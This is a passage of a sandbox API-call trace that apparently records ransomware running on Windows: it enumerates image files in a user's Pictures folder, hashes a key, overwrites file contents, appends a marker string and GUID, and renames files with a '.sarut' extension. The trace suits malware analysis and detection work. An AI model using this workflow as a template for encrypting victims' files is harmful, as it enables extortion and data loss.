CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.369] GetLastError () returned 0x0 [0271.370] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.370] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18040) returned 0x311d708 [0271.370] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.370] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1803b, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1803b, lpOverlapped=0x0) returned 1 [0271.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.371] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.371] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.371] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.371] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.372] CloseHandle (hObject=0x5c4) returned 1 [0271.375] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.375] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.375] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\XOHwMSl dhcUZR2jE3dY.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\xohwmsl dhcuzr2je3dy.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\XOHwMSl dhcUZR2jE3dY.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\xohwmsl dhcuzr2je3dy.bmp.sarut")) returned 1 [0271.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.376] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.378] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f57a080, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xe0230ab0, ftLastAccessTime.dwHighDateTime=0x1d4cd8e, ftLastWriteTime.dwLowDateTime=0xe0230ab0, ftLastWriteTime.dwHighDateTime=0x1d4cd8e, nFileSizeHigh=0x0, nFileSizeLow=0x6d03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YzSNWGeNkq7FltH72B.bmp", cAlternateFileName="YZSNWG~1.BMP")) returned 1 [0271.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\YzSNWGeNkq7FltH72B.bmp") returned=".bmp" [0271.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\YzSNWGeNkq7FltH72B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\yzsnwgenkq7flth72b.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.378] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=27907) returned 1 [0271.378] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.381] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6cdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.381] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.382] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.382] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6d03, lpOverlapped=0x0) returned 1 [0271.383] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.383] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.383] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.383] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.384] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.384] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.384] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.384] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.384] GetLastError () returned 0x0 [0271.385] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.385] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6d00) returned 0x311d708 [0271.385] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.385] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x6cfe, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x6cfe, lpOverlapped=0x0) returned 1 [0271.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.385] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6d03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.386] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.386] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.386] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.386] CloseHandle (hObject=0x5c4) returned 1 [0271.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.388] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\YzSNWGeNkq7FltH72B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\yzsnwgenkq7flth72b.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\YzSNWGeNkq7FltH72B.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\yzsnwgenkq7flth72b.bmp.sarut")) returned 1 [0271.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.389] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.390] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f57a080, ftCreationTime.dwHighDateTime=0x1d4c8fe, ftLastAccessTime.dwLowDateTime=0xe0230ab0, ftLastAccessTime.dwHighDateTime=0x1d4cd8e, ftLastWriteTime.dwLowDateTime=0xe0230ab0, ftLastWriteTime.dwHighDateTime=0x1d4cd8e, nFileSizeHigh=0x0, nFileSizeLow=0x6d03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YzSNWGeNkq7FltH72B.bmp", cAlternateFileName="YZSNWG~1.BMP")) returned 0 [0271.390] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0271.390] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.390] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: 